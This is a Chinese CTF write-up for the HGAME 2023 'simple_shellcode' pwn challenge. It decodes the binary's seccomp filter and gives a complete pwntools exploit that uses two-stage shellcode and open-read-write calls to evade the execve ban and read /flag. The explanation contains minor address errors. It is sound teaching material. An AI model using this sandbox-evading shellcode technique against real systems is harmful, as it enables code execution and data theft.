NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode
一、題目來源
NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode

二、信息搜集

發現是一個 64 位的 ELF 文件,并且保護措施基本上開全了。
三、反匯編文件開始分析
程序首先用 mmap 在虛擬內存上開辟了一片空間,該空間的訪問控制權限為“可讀-可寫-可執行”(因為 prot 參數的值為 7):
.text:0000000000001336 buf= qword ptr -8
…………
.text:0000000000001355 018 41 B9 00 00 00 00 mov r9d, 0 ; offset
.text:000000000000135B 018 41 B8 FF FF FF FF mov r8d, 0FFFFFFFFh ; fd
.text:0000000000001361 018 B9 21 00 00 00 mov ecx, 21h ; '!' ; flags
.text:0000000000001366 018 BA 07 00 00 00 mov edx, 7 ; prot
.text:000000000000136B 018 BE 00 10 00 00 mov esi, 1000h ; len
.text:0000000000001370 018 BF 00 00 FE CA mov edi, 0CAFE0000h ; addr
.text:0000000000001375 018 B8 00 00 00 00 mov eax, 0
.text:000000000000137A 018 E8 41 FD FF FF call _mmap
接著,程序調用 read 函數:
.text:000000000000138B 018 48 8B 45 F8 mov rax, [rbp+buf]
.text:000000000000138F 018 BA 10 00 00 00 mov edx, 10h ; nbytes
.text:0000000000001394 018 48 89 C6 mov rsi, rax ; buf
.text:0000000000001397 018 BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000000139C 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013A1 018 E8 2A FD FF FF call _read
需要注意的是:這里的 read 的第二個參數和以往我們看到的不太一樣,這里使用的是 mov 指令而不是 lea指令。
這也就意味著,我們真正寫入 rsi 的是地址 0xcafe00000 也就是我們之前開辟的那片虛擬內存的首址。
因此,這個和棧溢出可以說的八竿子打不著了,我們接著分析。
然后,我們就可以看到本程序所使用的沙箱:
.text:00000000000013A6 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013AB 018 E8 9E FE FF FF call sandbox
.text:000000000000124E public sandbox
.text:000000000000124E sandbox proc near ; CODE XREF: main+75↓p
.text:000000000000124E
.text:000000000000124E var_40= qword ptr -40h
.text:000000000000124E var_38= qword ptr -38h
.text:000000000000124E var_30= word ptr -30h
.text:000000000000124E var_2E= byte ptr -2Eh
.text:000000000000124E var_2D= byte ptr -2Dh
.text:000000000000124E var_2C= dword ptr -2Ch
.text:000000000000124E var_28= word ptr -28h
.text:000000000000124E var_26= byte ptr -26h
.text:000000000000124E var_25= byte ptr -25h
.text:000000000000124E var_24= dword ptr -24h
.text:000000000000124E var_20= word ptr -20h
.text:000000000000124E var_1E= byte ptr -1Eh
.text:000000000000124E var_1D= byte ptr -1Dh
.text:000000000000124E var_1C= dword ptr -1Ch
.text:000000000000124E var_18= word ptr -18h
.text:000000000000124E var_16= byte ptr -16h
.text:000000000000124E var_15= byte ptr -15h
.text:000000000000124E var_14= dword ptr -14h
.text:000000000000124E var_10= word ptr -10h
.text:000000000000124E var_E= byte ptr -0Eh
.text:000000000000124E var_D= byte ptr -0Dh
.text:000000000000124E var_C= dword ptr -0Ch
.text:000000000000124E var_8= qword ptr -8
.text:000000000000124E
.text:000000000000124E ; __unwind {
.text:000000000000124E 000 F3 0F 1E FA endbr64
.text:0000000000001252 000 55 push rbp
.text:0000000000001253 008 48 89 E5 mov rbp, rsp
.text:0000000000001256 008 48 83 EC 40 sub rsp, 40h
.text:000000000000125A 048 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
.text:0000000000001263 048 48 89 45 F8 mov [rbp+var_8], rax
.text:0000000000001267 048 31 C0 xor eax, eax
.text:0000000000001269 048 66 C7 45 D0 20 00 mov [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00 mov [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00 mov [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00 mov [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00 mov [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02 mov [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00 mov [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00 mov [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00 mov [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01 mov [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00 mov [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00 mov [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00 mov [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00 mov [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00 mov [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F mov [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00 mov [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00 mov [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00 mov [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00 mov [rbp+var_C], 0
.text:00000000000012D2 048 66 C7 45 C0 05 00 mov word ptr [rbp+var_40], 5
.text:00000000000012D8 048 48 8D 45 D0 lea rax, [rbp+var_30]
.text:00000000000012DC 048 48 89 45 C8 mov [rbp+var_38], rax
.text:00000000000012E0 048 41 B8 00 00 00 00 mov r8d, 0
.text:00000000000012E6 048 B9 00 00 00 00 mov ecx, 0
.text:00000000000012EB 048 BA 00 00 00 00 mov edx, 0
.text:00000000000012F0 048 BE 01 00 00 00 mov esi, 1
.text:00000000000012F5 048 BF 26 00 00 00 mov edi, 26h ; '&' ; option
.text:00000000000012FA 048 B8 00 00 00 00 mov eax, 0
.text:00000000000012FF 048 E8 DC FD FF FF call _prctl
.text:00000000000012FF
.text:0000000000001304 048 48 8D 45 C0 lea rax, [rbp+var_40]
.text:0000000000001308 048 48 89 C2 mov rdx, rax
.text:000000000000130B 048 BE 02 00 00 00 mov esi, 2
.text:0000000000001310 048 BF 16 00 00 00 mov edi, 16h ; option
.text:0000000000001315 048 B8 00 00 00 00 mov eax, 0
.text:000000000000131A 048 E8 C1 FD FF FF call _prctl
.text:000000000000131A
.text:000000000000131F 048 90 nop
.text:0000000000001320 048 48 8B 45 F8 mov rax, [rbp+var_8]
.text:0000000000001324 048 64 48 33 04 25 28 00 00 00 xor rax, fs:28h
.text:000000000000132D 048 74 05 jz short locret_1334
.text:000000000000132D
.text:000000000000132F 048 E8 7C FD FF FF call ___stack_chk_fail
.text:000000000000132F
.text:0000000000001334 ; ---------------------------------------------------------------------------
.text:0000000000001334
.text:0000000000001334 locret_1334: ; CODE XREF: sandbox+DF↑j
.text:0000000000001334 048 C9 leave
.text:0000000000001335 000 C3 retn
.text:0000000000001335 ; } // starts at 124E
.text:0000000000001335
.text:0000000000001335 sandbox endp
為了理解 sandbox,需要理解一下函數 prctl。
函數原型:
#include <sys/prctl.h>
#include <linux/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);
和其他函數有所區別的是,該函數所需要的參數即 arg2..arg5 是取決于第一個參數即 option 的,而 option 的可選項是很多的,下面我貼出的是本題所用到的兩個 option:
option = 0x26 = PR_SET_NO_NEW_PRIVS:
- 含義:開啟 no_new_privs 標志后,該進程及其子孫再也不能通過
execve獲得更高權限(例如setuid程序不再提權、文件能力不再生效)。 - 用途:裝載 seccomp 過濾器時的常見前置條件(避免“先降低再抬高”的逃逸)。
- 范圍:繼承到子進程(
fork/exec)。
option = 0x16 = PR_SET_SECCOMP:
- 含義:為當前進程啟用 seccomp-BPF 過濾;
arg3指向struct sock_fprog,里面是一組 classic BPF 指令(你題里的 5 條),用來判定每個系統調用是允許/拒絕/殺進程/返回特定 errno 等。 - 典型動作碼(
RET的k值):SECCOMP_RET_ALLOW(放行)SECCOMP_RET_KILL_PROCESS(直接殺掉當前進程)SECCOMP_RET_TRAP(向用戶態發SIGSYS)SECCOMP_RET_ERRNO | (errno & 0xFFFF)(讓該系統調用以指定 errno 失敗)SECCOMP_RET_TRACE、SECCOMP_RET_USER_NOTIF(配合 ptrace / 用戶態通知框架)
- 要求:通常在設置前需要
no_new_privs=1(或有CAP_SYS_ADMIN且系統允許的策略),否則EINVAL/EPERM。$\Leftarrow$這是為什么本題會采用兩個 prctl 的原因
其中提到的 classic BPF(cBPF) 指令指的是最早一代的 32-位“小虛擬機”指令集,它只有兩個寄存器 A(累加器)和 X(索引),再加 16 個 scratch 內存槽 M[0..15]。Linux 的 seccomp-BPF 復用了這套 cBPF 指令來寫“系統調用過濾器”(鑒別每次 syscall 是允許、拒絕、殺進程、返回 errno 等)。
cBPF 的每一條指令是一個 sock_filter,包含 4 個字段:
struct sock_filter {
__u16 code; // 指令編碼(類/大小/來源/操作)
__u8 jt; // 條件為真跳過的指令數 (jump-if-true)
__u8 jf; // 條件為假跳過的指令數 (jump-if-false)
__u32 k; // 立即數 / 偏移 / 返回值(視指令而定)
};
在題目中對應的部分就是那一大塊 mov 指令:
.text:0000000000001269 048 66 C7 45 D0 20 00 mov [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00 mov [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00 mov [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00 mov [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00 mov [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02 mov [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00 mov [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00 mov [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00 mov [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01 mov [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00 mov [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00 mov [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00 mov [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00 mov [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00 mov [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F mov [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00 mov [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00 mov [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00 mov [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00 mov [rbp+var_C], 0
解碼后的 5 條 BPF 指令如下(按內存從 var_30 到 var_10 的順序即從低到高的排序):
-
LD W ABS 0
{ code=0x20, jt=0, jf=0, k=0 } // BPF_LD | BPF_W | BPF_ABS, 從 seccomp_data 結構偏移0處加載 syscall 編號將當前系統調用號裝載到累加器 A。
-
JEQ 59, jt=2, jf=0
{ code=0x15, jt=2, jf=0, k=59 } // 59 = __NR_execve (x86_64)如果
syscall == 59 (execve),跳過后面兩條指令(即跳到第5條)。 -
JEQ 0x142, jt=1, jf=0
{ code=0x15, jt=1, jf=0, k=0x142 } // 0x142 = 322 = __NR_execveat (x86_64)如果
syscall == 322 (execveat),跳過后一條指令(也跳到第5條)。 -
RET ALLOW
{ code=0x06, jt=0, jf=0, k=0x7FFF0000 } // SECCOMP_RET_ALLOW上述兩條件都不滿足(不是 execve/execveat)→ 允許該系統調用。
-
RET KILL
{ code=0x06, jt=0, jf=0, k=0x00000000 } // SECCOMP_RET_KILL (KILL_PROCESS)命中第2或第3條跳轉來到這里 → 直接殺掉進程。
這也就說明了,本題不允許使用的系統調用:
execveexecveat
當然,這一部分的分析也可以交給 AI 來快速處理:

沙盒之后,就出現一個關鍵點:
.text:00000000000013B0 018 48 8B 55 F8 mov rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013B9 018 FF D2 call rdx
還記得我們一開始看到的 mmap 開辟的虛擬內存空間嗎,那塊的首地址就存在在 [rbp+buf] 當中,依據:
.text:000000000000134C 018 B8 00 00 FE CA mov eax, 0CAFE0000h
.text:0000000000001351 018 48 89 45 F8 mov [rbp+buf], rax
那么,如果我們能向地址 0xcafe0000 寫入 shellcode,然后通過 call 一調用,就可以獲取到 flag 了。
四、思路匯總
首先,我們整理一下有用的信息:
- 有一塊可讀可寫可執行的虛擬內存,并且能向其中寫入 0x10B 的數據;
- 有
call指令; - 存在沙盒,不允許使用
execve和execveat。
這么一聯系,我們就可以知道本題的難點在于:
- shellcode 的長度被限制;
- 沙盒保護。
因此,我們的思路就是,先寫入較短的 shellcode 實現再次寫入且將寫入的長度限制給放開,然后再寫入較長的 shellcode 來獲取 flag 且該 shellcode 需要符合沙盒要求。
五、Poc 構造
from pwn import *
exe = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
context(arch="amd64",os="linux",log_level="debug")
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("node5.anna.nssctf.cn",25836)
return r
def main():
p = conn()
shellcode = asm('''
mov rdi, rax;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
''')
p.sendafter(b'Please input your shellcode:',shellcode)
shellcode = asm(shellcraft.open("/flag")+shellcraft.read(3,0xcafe0010,0x50)+shellcraft.write(1,0xcafe0010,0x50))
p.send(shellcode)
p.interactive()
if __name__ == "__main__":
main()
一步步分析,我們對第一次 shellcode 的要求就兩個:
- 簡短
- 實現再次寫入
程序已經非常貼心地為我們準備了兩行指令:
.text:00000000000013B0 018 48 8B 55 F8 mov rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00 mov eax, 0
eax 中已經存放了 read 系統調用的系統調用號,rdx 中已經存放了我們要寫入的位置即 0xcafe0000。
因此,為了實現再次 read,我們只需要:
mov rdi, rax;
mov rsi, rdx;
add rsi, 0x10;
syscall;
這里還將寫入位置進行了“加
0x10”的操作,是為了保護本輪的 shellcode不被后續的 shellcode 破壞。
可是,寫入完成之后,我們就已經用完了 call 指令,那么后續還需要執行新的 shellcode 怎么做到呢?
沒錯,就像構造 ROP 一樣,我們再后面跟上一條:
call rsi;
此時 rsi 中存放的依舊是地址 0xcafe0000,但是其中的內容已經通過第二次 read 修改成新的 shellcode 了。
我們可以檢查一下 shellcode 的長度,我跑出來是 14,剛好滿足小于 16。
后續,我們為了避免被沙盒過濾,采用 ORW 的方式來繞過。
當然,也可以直接使用:
shellcode = asm(shellcraft.cat("/flag"))
來替換,因為 shellcraft.cat("/flag") 生成的 shellcode 使用的是“Open + Sendfile”的組合,也不會被沙盒過濾。
最終本地執行效果:

成功拿到 flag。

浙公網安備 33010602011771號